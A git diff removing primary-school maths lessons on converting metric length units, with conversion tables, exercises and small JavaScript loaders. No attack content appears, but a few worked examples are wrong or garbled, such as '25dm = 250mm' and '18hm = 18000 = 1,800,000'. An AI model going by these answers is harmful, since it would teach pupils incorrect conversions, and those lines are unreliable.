-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    metre(m)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    decimetre(dm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    centimetre(cm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    millimetre(mm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a01/description.py b/Save_Mathematics/P4/map411m12/map411m12a01/description.py
deleted file mode 100644
index 5ca7ee5..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m12a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m12/map411m12a01/lesson.js b/Save_Mathematics/P4/map411m12/map411m12a01/lesson.js
deleted file mode 100644
index 757e415..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m12/map411m12a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m12/map411m12a01/source.txt b/Save_Mathematics/P4/map411m12/map411m12a01/source.txt
deleted file mode 100644
index 6948d9a..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a01/source.txt
+++ /dev/null
@@ -1,268 +0,0 @@
-<p>
- Instructional materials charts with conversion tables , number
- <br />
- flash cards
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    dam
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    m
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    cm
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    mm
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    Kilometre(km)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    hectometre(hm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    decametre(dam)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    metre(m)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    decimetre(dm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    centimetre(cm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    millimetre(mm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a02/a.txt b/Save_Mathematics/P4/map411m12/map411m12a02/a.txt
deleted file mode 100644
index 8b4c1f2..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a02/a.txt
+++ /dev/null
@@ -1,265 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
-  a) Reading length units
-  <br />
-  <br />
-  <br />
- </span>
- a) kilometre ----------------&gt; km
- <br />
- b) hectometre ------------&gt; hm
- <br />
- c) decametre ------------&gt; dam
- <br />
- d) metre ------------------&gt; m
- <br />
- e) decimetre ------------&gt; dm
- <br />
- f) centimetre ------------&gt; cm
- <br />
- g) millimetre ------------&gt; mm
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  b) Converting units of length by using conversion table
- </span>
- <br />
- <br />
- <br />
- 1km = 10 hm
- <br />
- 1hm = 100m
- <br />
- 1dam = 10m
- <br />
- 1m = 100cm
- <br />
- 1m = 1,000mm
- <br />
- 1km = 1,000,000mm
- <br />
- 1dm = 100mm
- <br />
- 1cm = 10mm
- <br />
- 1dam = 10m = 100dm = 1000cm =10,000mm
- <br />
- <br />
- 1km = 10hm = 100dam = 1000m = 10,000dm = 100,000cm = 1,000,000mm
- <br />
- <br />
- example 1 change 5m in dm and mm
- <br />
- <br />
- Solution
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    m
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    cm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    mm
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 5m = 50dm = 5000mm
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Know ledge
- </span>
- : To convert units of length use the conversion table.
- <br />
- <br />
- note that 1km = 10hm
- <br />
- 1hm = 10dam
- <br />
- 1dam = 10m
- <br />
- 1m = 10dm = 100cm = 1000mm
- <br />
- <br />
- example 2 a)
- <span style="text-decoration: underline;">
-  convert the given length
- </span>
- <br />
- <br />
- <br />
- a) 12km = 1200dam
- <br />
- b) 5m = 5000mm
- <br />
- c) 25dm = 250mm
- <br />
- d)18hm = 18000 = 1,800,000
- <br />
- e) 80dm = 800cm = 8,000mm
- <br />
- f) 45dam = 450m = 4500dm = 45000cm = 450,000mm
- <br />
- g) 21dm = 2,100mm
- <br />
- <br />
- Example 3 . A car travelled a distance of 10,000 metres . What distance did cover in km ?
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    dam
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    m
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Distance covered is 10km
- <br />
- <br />
- Example 4. A pupil cycles 16500 m to school . How many km are these ?
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    m
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    16
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- A pupil cycles 16.5 km
- <br />
- Remember : Read the problems , then use conversion tables to convert .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a02/description.py b/Save_Mathematics/P4/map411m12/map411m12a02/description.py
deleted file mode 100644
index 72f62c3..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m12a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m12/map411m12a02/lesson.js b/Save_Mathematics/P4/map411m12/map411m12a02/lesson.js
deleted file mode 100644
index e1dd941..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m12/map411m12a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m12/map411m12a02/source.txt b/Save_Mathematics/P4/map411m12/map411m12a02/source.txt
deleted file mode 100644
index 8b4c1f2..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a02/source.txt
+++ /dev/null
@@ -1,265 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
-  a) Reading length units
-  <br />
-  <br />
-  <br />
- </span>
- a) kilometre ----------------&gt; km
- <br />
- b) hectometre ------------&gt; hm
- <br />
- c) decametre ------------&gt; dam
- <br />
- d) metre ------------------&gt; m
- <br />
- e) decimetre ------------&gt; dm
- <br />
- f) centimetre ------------&gt; cm
- <br />
- g) millimetre ------------&gt; mm
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  b) Converting units of length by using conversion table
- </span>
- <br />
- <br />
- <br />
- 1km = 10 hm
- <br />
- 1hm = 100m
- <br />
- 1dam = 10m
- <br />
- 1m = 100cm
- <br />
- 1m = 1,000mm
- <br />
- 1km = 1,000,000mm
- <br />
- 1dm = 100mm
- <br />
- 1cm = 10mm
- <br />
- 1dam = 10m = 100dm = 1000cm =10,000mm
- <br />
- <br />
- 1km = 10hm = 100dam = 1000m = 10,000dm = 100,000cm = 1,000,000mm
- <br />
- <br />
- example 1 change 5m in dm and mm
- <br />
- <br />
- Solution
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    m
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    cm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    mm
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    <br />
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 5m = 50dm = 5000mm
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Know ledge
- </span>
- : To convert units of length use the conversion table.
- <br />
- <br />
- note that 1km = 10hm
- <br />
- 1hm = 10dam
- <br />
- 1dam = 10m
- <br />
- 1m = 10dm = 100cm = 1000mm
- <br />
- <br />
- example 2 a)
- <span style="text-decoration: underline;">
-  convert the given length
- </span>
- <br />
- <br />
- <br />
- a) 12km = 1200dam
- <br />
- b) 5m = 5000mm
- <br />
- c) 25dm = 250mm
- <br />
- d)18hm = 18000 = 1,800,000
- <br />
- e) 80dm = 800cm = 8,000mm
- <br />
- f) 45dam = 450m = 4500dm = 45000cm = 450,000mm
- <br />
- g) 21dm = 2,100mm
- <br />
- <br />
- Example 3 . A car travelled a distance of 10,000 metres . What distance did cover in km ?
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    dam
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    m
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Distance covered is 10km
- <br />
- <br />
- Example 4. A pupil cycles 16500 m to school . How many km are these ?
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    m
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    16
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- A pupil cycles 16.5 km
- <br />
- Remember : Read the problems , then use conversion tables to convert .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a03/a.txt b/Save_Mathematics/P4/map411m12/map411m12a03/a.txt
deleted file mode 100644
index 51662c7..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a03/a.txt
+++ /dev/null
@@ -1,32 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
-  1.convert following length units
-  <br />
-  <br />
-  <br />
- </span>
- <br />
- 1) 15 km = .......................... dam = ................mm
- <span style="text-decoration: underline;">
-  <br />
- </span>
- 2) 12m = ............................. cm = .................. mm
- <br />
- 3) 42hm = .......................... dm = .................. cm
- <br />
- 4) 19dam = ......................... dm = .................. mm
- <br />
- 5) 54m = ............................ cm = ................... mm
- <br />
- <br />
- 2. A bus driver travelled 15,000 in morning an 12 Km in the everning.
- <br />
- <br />
- Find the distance covered in metres the whole day using conversion table.
- <br />
- <br />
- 3. From Agnes' home to her school there are 25,000 m. Find the distance Agnes' home-school in dam and km.
- <br />
- <br />
- 4. The length of a line is 45 dm. Convert that length in cm and mm.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a03/description.py b/Save_Mathematics/P4/map411m12/map411m12a03/description.py
deleted file mode 100644
index 030ceeb..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m12a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m12/map411m12a03/lesson.js b/Save_Mathematics/P4/map411m12/map411m12a03/lesson.js
deleted file mode 100644
index 0778ca0..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m12/map411m12a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m12/map411m12a03/source.txt b/Save_Mathematics/P4/map411m12/map411m12a03/source.txt
deleted file mode 100644
index 51662c7..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a03/source.txt
+++ /dev/null
@@ -1,32 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
-  1.convert following length units
-  <br />
-  <br />
-  <br />
- </span>
- <br />
- 1) 15 km = .......................... dam = ................mm
- <span style="text-decoration: underline;">
-  <br />
- </span>
- 2) 12m = ............................. cm = .................. mm
- <br />
- 3) 42hm = .......................... dm = .................. cm
- <br />
- 4) 19dam = ......................... dm = .................. mm
- <br />
- 5) 54m = ............................ cm = ................... mm
- <br />
- <br />
- 2. A bus driver travelled 15,000 in morning an 12 Km in the everning.
- <br />
- <br />
- Find the distance covered in metres the whole day using conversion table.
- <br />
- <br />
- 3. From Agnes' home to her school there are 25,000 m. Find the distance Agnes' home-school in dam and km.
- <br />
- <br />
- 4. The length of a line is 45 dm. Convert that length in cm and mm.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a04/a.txt b/Save_Mathematics/P4/map411m12/map411m12a04/a.txt
deleted file mode 100644
index 41bd7ec..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a04/a.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- 1) convert to cm or mm
- <br />
- <br />
- <br />
- a) 250m
- <br />
- b) 2200m
- <br />
- c) 2km
- <br />
- d) 12km
- <br />
- e) 20km
- <br />
- f) 15m
- <br />
- g) 120km
- <br />
- h) 13dam
- <br />
- i) 56dm
- <br />
- j) 62cm
- <br />
- k) 52dam
- <br />
- l) 4hm
- <br />
- <br />
- 2) Daniel covered 7km while a running . What distance did he
- <br />
- run in metres ?
- <br />
- <br />
- 3) A taximan covered a distance of 2000 hm
- <br />
- What is that distance in millimetre, kilometre ?
- <br />
- <br />
- 4) David walks 3km every day . How many
- <br />
- dam does he walk every day ?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a04/description.py b/Save_Mathematics/P4/map411m12/map411m12a04/description.py
deleted file mode 100644
index 9ea70a7..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m12a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m12/map411m12a04/lesson.js b/Save_Mathematics/P4/map411m12/map411m12a04/lesson.js
deleted file mode 100644
index 29dc2f2..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m12/map411m12a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m12/map411m12a04/source.txt b/Save_Mathematics/P4/map411m12/map411m12a04/source.txt
deleted file mode 100644
index 41bd7ec..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a04/source.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- 1) convert to cm or mm
- <br />
- <br />
- <br />
- a) 250m
- <br />
- b) 2200m
- <br />
- c) 2km
- <br />
- d) 12km
- <br />
- e) 20km
- <br />
- f) 15m
- <br />
- g) 120km
- <br />
- h) 13dam
- <br />
- i) 56dm
- <br />
- j) 62cm
- <br />
- k) 52dam
- <br />
- l) 4hm
- <br />
- <br />
- 2) Daniel covered 7km while a running . What distance did he
- <br />
- run in metres ?
- <br />
- <br />
- 3) A taximan covered a distance of 2000 hm
- <br />
- What is that distance in millimetre, kilometre ?
- <br />
- <br />
- 4) David walks 3km every day . How many
- <br />
- dam does he walk every day ?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a05/a.txt b/Save_Mathematics/P4/map411m12/map411m12a05/a.txt
deleted file mode 100644
index 165a89b..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a05/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- <br />
- 1)
- <span style="text-decoration: underline;">
-  converts in given units
-  <br />
-  <br />
- </span>
- 1) 12m = ................ dm
- <br />
- 2) 5km = ................ hm
- <br />
- 3) 80hm = .............. cm
- <br />
- 4) 15dm = .............. mm
- <br />
- 5) 21km = .............. dam ................ cm
- <br />
- 6) 98m = ................ cm .................. mm
- <br />
- 7) 20cm = .............. mm
- <br />
- <br />
- 8) An athlete ran a distance of 5km in the first round and 80km in the second
- <br />
- round . How many metres did he convered ?
- <br />
- <br />
- 9) There are 1500km from my home to kigali . What the distance in m is
- <br />
- between my home and kigali ?
- <br />
- <br />
- 10) There is 80000m from David's house to school. What is the distance in
- <br />
- kilometre is between David's home and school ?
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a05/description.py b/Save_Mathematics/P4/map411m12/map411m12a05/description.py
deleted file mode 100644
index 4220918..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m12a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m12/map411m12a05/lesson.js b/Save_Mathematics/P4/map411m12/map411m12a05/lesson.js
deleted file mode 100644
index 4eba79e..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m12/map411m12a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m12/map411m12a05/source.txt b/Save_Mathematics/P4/map411m12/map411m12a05/source.txt
deleted file mode 100644
index 165a89b..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a05/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- <br />
- 1)
- <span style="text-decoration: underline;">
-  converts in given units
-  <br />
-  <br />
- </span>
- 1) 12m = ................ dm
- <br />
- 2) 5km = ................ hm
- <br />
- 3) 80hm = .............. cm
- <br />
- 4) 15dm = .............. mm
- <br />
- 5) 21km = .............. dam ................ cm
- <br />
- 6) 98m = ................ cm .................. mm
- <br />
- 7) 20cm = .............. mm
- <br />
- <br />
- 8) An athlete ran a distance of 5km in the first round and 80km in the second
- <br />
- round . How many metres did he convered ?
- <br />
- <br />
- 9) There are 1500km from my home to kigali . What the distance in m is
- <br />
- between my home and kigali ?
- <br />
- <br />
- 10) There is 80000m from David's house to school. What is the distance in
- <br />
- kilometre is between David's home and school ?
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a06/a.txt b/Save_Mathematics/P4/map411m12/map411m12a06/a.txt
deleted file mode 100644
index f623859..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a06/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- 1)
- <span style="text-decoration: underline;">
-  Convert the given length
-  <br />
-  <br />
-  <br />
- </span>
- a) 18km = .................. m = .................. mm
- <br />
- b) 800m = ................ dm = ............... hm
- <br />
- c) 35.000cm = ................... m = ................. hm
- <br />
- d) 1.200m = ................... hm = ................ km
- <br />
- e) 12km = ........................ hm = ................ dm
- <br />
- f) 30.000dm = ................... m = ................. hm
- <br />
- <br />
- 2) Eliphaz ran a distance of 42.000m .
- <br />
- Wath distance did he travel in km .
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- 3)Leon is at 12.000cm from Kigali .
- <br />
- What distance is this in hm ?
- <br />
- <br />
- 4) Muhamed ran 14.000 metres .
- <br />
- What distance did he run in kilometres ?
- <br />
- <br />
- 5) change 18500cm in metres.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/map411m12a06/description.py b/Save_Mathematics/P4/map411m12/map411m12a06/description.py
deleted file mode 100644
index 093a461..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m12a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m12/map411m12a06/lesson.js b/Save_Mathematics/P4/map411m12/map411m12a06/lesson.js
deleted file mode 100644
index 38a36ec..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
